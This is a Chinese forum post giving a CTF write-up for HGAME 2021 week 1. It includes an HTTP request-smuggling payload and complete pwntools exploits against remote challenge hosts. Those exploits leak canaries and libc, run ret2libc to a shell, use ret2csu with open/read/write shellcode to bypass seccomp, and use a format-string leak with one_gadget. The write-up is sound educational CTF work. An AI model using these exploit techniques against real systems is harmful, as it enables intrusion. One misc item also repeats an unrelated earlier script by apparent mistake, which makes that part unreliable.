首页
论坛
课程
招聘
[原创] 杭电hgame2021 week1 writeup
2021-5-27 12:52 7802

[原创] 杭电hgame2021 week1 writeup

2021-5-27 12:52
7802

杭电hgame2021 week1

web

Hitchhiking_in_the_Galaxy

http请求头,按照每一步提示增加项

watermelon

f12在调试器中查看project.js,搜索1999

宝藏走私者

http请求走私

1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1
 
Host: thief.0727.site
 
GET /secret HTTP/1.1
 
Host:thief.0727.site
 
client-ip:127.0.0.1
 
foo:

智商检测机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import requests
 
import json
 
from bs4 import BeautifulSoup
 
from sympy import *
 
 
numArr = ["0","1","2","3","4","5","6","7","8","9","-","+"]
 
 
def scan(str1):
 
    newStr = ""
 
    for x in range(0,len(str1)):
 
        if str1[x] in numArr:
 
            newStr += str1[x]
 
    return newStr
 
 
def getQ(session="session=eyJzb2x2aW5nIjoxfQ.YBfJbQ.L2PH1NyDzVTQcjiJjLR5lqeU4cw"):
 
    headers = {"Cookie":session}
 
    res = requests.get(url="http://r4u.top:5000/api/getQuestion",headers=headers)
 
    return json.loads(res.text)
 
 
#q = getQ()
 
 
def anaylaze(q):
 
    q = q['question']
 
    soup = BeautifulSoup(q,"lxml")
 
    xiaxian = soup.msubsup.mo.next_sibling
 
    shangxian = soup.msubsup.mo.next_sibling.next_sibling
 
    a = soup.math.mn
 
    a = a.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element
 
    b = soup.math.mn.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element
 
    fuhao = soup.math.mn.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element.next_element
 
    return [int(scan(str(xiaxian))),int(scan(str(shangxian))),int(scan(str(a))),scan(str(fuhao)),int(scan(str(b)))]
 
 
#print(anaylaze(q))
 
 
def calc(arr):
 
    print(arr)
 
    x = symbols('x')
 
    if arr[3] == "+":
 
        answer = integrate(arr[2]*x+arr[4], (x, arr[0], arr[1]))
 
    else:
 
        answer = integrate(arr[2]*x-arr[4], (x, arr[0], arr[1]))
 
 
 
    return(round(answer,2))
 
 
#answer = calc(anaylaze(q))
 
 
def submit(answer,cookie="session=eyJzb2x2aW5nIjoxfQ.YBfJbQ.L2PH1NyDzVTQcjiJjLR5lqeU4cw"):
 
 
 
    data = '{"answer":'+str(answer)+'}'
 
    print(data)
 
    headers = {"Cookie":cookie,"Content-Type":"application/json;charset=UTF-8"}
 
    res = requests.post(url="http://r4u.top:5000/api/verify",data=data,headers=headers)
 
    print(res.text)
 
    newCookie = res.headers['Set-Cookie']
 
    print(newCookie)
 
    return newCookie
 
 
#submit(answer)
 
 
def run(cookie):
 
    q = getQ(cookie)
 
    answer = calc(anaylaze(q))
 
    cookie = submit(answer,cookie)
 
    run(cookie)
 
 
run("session=eyJzb2x2aW5nIjozfQ.YBfbuQ.R7aqFFYJmRgJ7FITfhRqfCKPNCg")

走私者的愤怒

和宝藏走私者一样的考点

re

apacha

图片.png

 

主要加密流程如上,写出正向代码,然后对着逆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
v6l = [ 0x9E3779B9 , 0x3C6EF372, 0xDAA66D2B, 0x78DDE6E4, 0x1715609D, 0xB54CDA56, 0x5384540F]
v7l = [ 0x278DDE6E , 0xF1BBCDC, 0x36A99B4A, 0x1E3779B9, 0x5C55827, 0x2D533695, 0x14E11503]
key = [1, 2, 3, 4]
flag = [0xE74EB323, 0xB7A72836, 0x59CA6FE2, 0x967CC5C1, 0xE7802674, 0x3D2D54E6, 0x8A9D0356, 0x99DCC39C, 0x7026D8ED, 0x6A33FDAD, 0xF496550A, 0x5C9C6F9E, 0x1BE5D04C, 0x6723AE17, 0x5270A5C2, 0xAC42130A, 0x84BE67B2, 0x705CC779, 0x5C513D98, 0xFB36DA2D, 0x22179645, 0x5CE3529D, 0xD189E1FB, 0xE85BD489, 0x73C8D11F, 0x54B5C196, 0xB67CB490, 0x2117E4CA, 0x9DE3F994, 0x2F5AA1AA, 0xA7E801FD, 0xC30D6EAB, 0x1BADDC9C, 0x3453B04A, 0x92A406F9]
 
 
'''   正向加密代码
flag = b'hgame{aaaaaaaaaaaaaaaaaaaaaaaaaaaa}'
flag = list(flag)
v5 = flag[34]
for i in range(7):
    for j in range(34):
        v5 = flag[j] + ((((v5 >> 5) ^ (4 * flag[j + 1])) + ((16 * v5) ^ (flag[j + 1] >> 3))) ^ ((key[ (j ^ v7l[i] ) & 3 ] ^ v5) + (flag[j + 1] ^ v6l[i])))
        v5 &= 0xffffffff
        flag[j] = v5
 
    v5 = flag[34] + (((key[(34 ^ v7l[i]) & 3] ^ v5) + (flag[0] ^ v6l[i])) ^ (((4 * flag[0]) ^ (v5 >> 5)) + (((16 * v5) ^ (flag[0] >> 3))&0xffffffff)))
    v5 &= 0xffffffff
    flag[34] = v5
'''
 
for x in range(7):
 
    i = 6 - x
    v5 = flag[34]
    flag[34] = v5 - ((((key[(34 ^ v7l[i]) & 3] ^ flag[33]) + (flag[0] ^ v6l[i])) ^ (((4 * flag[0]) ^ (flag[33] >> 5)) + ((16 * flag[33]) ^ (flag[0] >> 3))))&0xffffffff)
    flag[34]&=0xffffffff
    for y in range(34):
        j = 33 - y
        v5 = flag[j]
        flag[j] = v5 - (((((flag[j-1] >> 5) ^ (4 * flag[j + 1])) + ((16 * flag[j-1]) ^ (flag[j + 1] >> 3))) ^ ((key[ (j ^ v7l[i] ) & 3 ] ^ flag[j-1]) + (flag[j + 1] ^ v6l[i])))&0xffffffff)
        flag[j]&=0xffffffff
        if(j==0):
            flag[j] = v5 - (((((flag[34] >> 5) ^ (4 * flag[j + 1])) + ((16 * flag[34]) ^ (flag[j + 1] >> 3))) ^ ((key[ (j ^ v7l[i] ) & 3 ] ^ flag[34]) + (flag[j + 1] ^ v6l[i])))&0xffffffff)
            flag[j]&=0xffffffff
 
print(bytes(flag))

HelloRe

签到题,就是一个异或

pypy

简单的python字节码,对照官方文档写出源码,然后逆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
raw_flag = ''
 
cipher = list((raw_flag[6:-1]))
 
length = len(cipher)
 
for i in range(length//2):
    cipher[2*i],cipher[2*i+1] = cipher[2*i+1],cipher[2*i]
 
res=[]
 
for i in range(length):
    res.append(ord(cipher[i])^i)
 
res = bytes(res).hex()
 
res = b'30466633346f59213b4139794520572b45514d61583151576638643a'

pwn

这几道pwn题都非常有意思,虽然考的都是栈溢出、格式化字符串,但是都有一些有趣的细节

whitegive

签到题,输入的是数字,要和一个字符串比较,相等就返回shell

 

通过调试发现字符串参与比较的其实是它的内存地址

 

那么我们直接输入这个地址就get shell了

SteinsGate2

week1压轴题,截至目前只有七解

 

保护全开

 

首先是要读源码,然后可以发现一个泄露点和一个溢出点和一处格式化字符串漏洞点

 

其中泄露点虽然不能溢出,但是可以由于printf的\x00才截断的性质,泄露出libc基址,然后调试的时候我们还发现,除了[rbp-0x8]处是canary的值,在栈中还残留着之前函数的canary值,由于canary在一次运行中都一样,所以我们也可以得到canary的值

 

溢出点就是栈溢出覆盖返回地址,ret2libc

 

这里的格式化字符串漏洞是个坑点,虽然存在,但经过反复调试发现触发它的条件永远不可能满足,浪费了我好多时间

 

泄露点+溢出点就可以打通了

 

然后还是要读源码,得到触发各个漏洞点的条件,也就是第几天要做固定的事

 

总体流程就是:

 

首先输入的世界线变化率要与初始世界线变化率的差值小于0.000001,这样我们就满足了 know_true

 

然后第一天要去神社寻找ibn5100,这样可以触发栈溢出漏洞

 

第二天和第五天要试试电话烤箱,这样就能够dmail回到第一天

 

随便挑选一天让桶子入侵SERN,在输入命令那里就是泄露点

 

所以就是,第一遍泄露出libc,dmail回到第一天,然后第二遍泄露canary,再dmail回到第一天,然后栈溢出ret2libc

 

要注意的几处细节是,系统环境为ubuntu20.04,其它版本调试时在栈上的libc的偏移会不同(刚开始一直没意识到,最后才反应过来我docker上是ubuntu18,起初怎么打都打不通,浪费了大半天时间),还有就是最后用libc的gadget时,要多一个ret,提高一下栈,使栈对齐

 

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
 
sh = remote('182.92.108.71',30009)
#sh = process('./sga')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('0.89883433')
 
#day1
sh.recv()
sh.sendline('3')
sh.recv()
sh.sendline('2')
 
#day2
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
 
#day3
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
 
#day4
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
 
#day5
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
 
#day6
sh.recv()
sh.sendline('2')
sh.sendline()
sh.sendline('2')
sh.sendline()
sh.sendline('1')
sh.recv()
 
payload2 = 'a' * 57
sh.sendline(payload2)
sh.recvuntil('a'*56)
canary = u64(sh.recv(8)) -0x61
success('canary: '+hex(canary))
 
#day7
sh.sendline('2')
 
#day8
sh.recv()
sh.sendline('2')
 
#day9
sh.recv()
sh.sendline('2')
 
#day10
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')#mail
sh.recv()
 
#day1
sh.sendline('2')
 
#day2
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
 
#day3
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
 
#day4
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
 
#day5
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
 
#day6
sh.recv()
sh.sendline('2')
sh.sendline()
sh.sendline('2')
sh.sendline()
sh.sendline('1')
sh.recv()
 
payload1 = 'a' * 24
sh.sendline(payload1)
sh.recvuntil('a'* 24)
 
#__isoc99_scanf = u64(sh.recv(8)) - 280 - 0x7320000000000000
__isoc99_scanf  = u64(sh.recv(6)+p16(0)) - 178
success('__isoc99_scanf: '+hex(__isoc99_scanf))
 
#day7
sh.sendline('2')
 
#day8
sh.recv()
sh.sendline('2')
 
#day9
sh.recv()
sh.sendline('2')
 
#day10
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')#mail
sh.recv()
 
#day1
sh.sendline('1')
sh.recv()
 
libc=ELF('./libc.so.6')
#libc_base = __isoc99_scanf - libc.sym['__isoc99_scanf']
libc_base = __isoc99_scanf - 0x66230
#system_addr = libc.sym['system'] + libc_base
system = 0x055410 + libc_base
bin_sh = 0x01B75AA + libc_base
rdi_ret = 0x026b72 + libc_base
#rsi_ret = 0x0027529 + libc_base
#rdx_r12_ret = 0x011c371 + libc_base
#printf_addr = 0x64E10 + libc_base
ret_addr = 0x0000000000025679 + libc_base
 
payload2 = flat('a' * 88  , canary ,'aaaaaaaa' , rdi_ret , bin_sh, ret_addr , system )
sh.sendline(payload2)
sh.recv()
sh.interactive()

letter

保护全关

 

这道题的考点是atoi函数的漏洞,seccomp的过滤,栈溢出

 

由于atoi函数的漏洞,当我们输入-1时,既满足了小于15的条件,又让后面申请到的空间达到了0xffffffff,然后栈溢出到shellcode

 

刚开始因为看到保护全关,以为直接往bss段写system(sh)就行,打了几遍打不通才看到最开始的init函数有seccomp函数过滤,只允许使用write,read,open,那我们利用这三个函数写shellcode把flag内容读出来就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
 
sh = remote('182.92.108.71',31305)
#sh = process('./letter')
elf1 = ELF('./letter')
 
read_got = elf1.got['read']
#rdi_addr = 0x0400aa3
#rsi_r15_addr = 0x0400aa1
rwx_addr = 0x0601050
 
sh.recvuntil('send?\n')
sh.send(str(-1))
 
csu_start=0x0400A96
csu_end=0x0400A80
payload=flat('a'*24, csu_start,
'a'*8, 0, 1, read_got, 0x0, rwx_addr, 0x100,
 csu_end,'a'*56,rwx_addr)
 
sh.send(payload)
sh.recv()
 
shellcode = ""
shellcode += shellcraft.open('flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)
 
sh.send(payload)
sh.interactive()

once

开启了pie和NX

 

有栈溢出和格式化字符串漏洞

 

由于低3位不变的特性,我们栈溢出覆盖返回地址的最低字节就可以使其重复溢出

 

fmt泄露程序基址和libc基址

 

最后用onegadget打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
 
sh = remote('182.92.108.71',30107)
#sh = process('./once')
sh.recvuntil('turn: ')
payload = '%11$p' + '%13$p' + 'a'*22 + 'aaaaaaaa'+'\xd3'
 
sh.send(payload)
echo = sh.recv()
 
elf_base = int(echo[0:14],16) - 86 - 0x169
success('elf base: '+hex(elf_base))
 
libc_start_main = int((echo[14:28]),16) - 231
success('libc_start_main addr: '+hex(libc_start_main))
 
libc=ELF('./libc-2.27.so')
libc_base=libc_start_main-libc.sym['__libc_start_main']
one_gadget = 0x10a41c + libc_base
payload2 = flat('a'*40,one_gadget)
sh.send(payload2)
sh.recv()
sh.interactive()

有一点坑人的就是,不知道为什么payload用flat拼接时会多增加了一个字节,所以我就不用flat直接拼接了

crypto

まひと

前面按流程走,卡人的点在base64解码后的处理,由于flag格式为hgame{},所以可以看出}的位置错了,所以要用栅栏密码,这里还会卡人的点在栅栏之后还要逆序才能是正确的格式,最后凯撒密码解密

对称之美

xor加密,密钥为16位,且为循环加密,有一个专门的工具可以解出密钥,xortool,xortool得出的密钥有两位字符错误,手动替换后解密多试几次

transformer

quipqiup在线网站词频分析就可以得出flag

misc

base全家福

依次base64,base32,base16

不起眼压缩包的养成的方法

图片藏压缩包,第一层用爆破,第二层用明文攻击,第三层用伪加密,最后得出的编码是html编码

galaxy

流量分析找到http,然后dump出图片

word re:master

解压缩第一个文档,里面有个password.xml就是第二个文档的密码,第二个文档有隐藏字符,是个snow加密

1
2
3
4
5
6
7
8
9
10
raw_flag = ''
cipher = list((raw_flag[6:-1]))
length = len(cipher)
for i in range(length//2):
    cipher[2*i],cipher[2*i+1] = cipher[2*i+1],cipher[2*i]
res=[]
for i in range(length):
    res.append(ord(cipher[i])^i)
res = bytes(res).hex()
res = b'30466633346f59213b4139794520572b45514d61583151576638643a'

[培训] 优秀毕业生寄语:恭喜id咸鱼炒白菜拿到远超3W月薪的offer,《安卓高级研修班》火热招生!!!

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回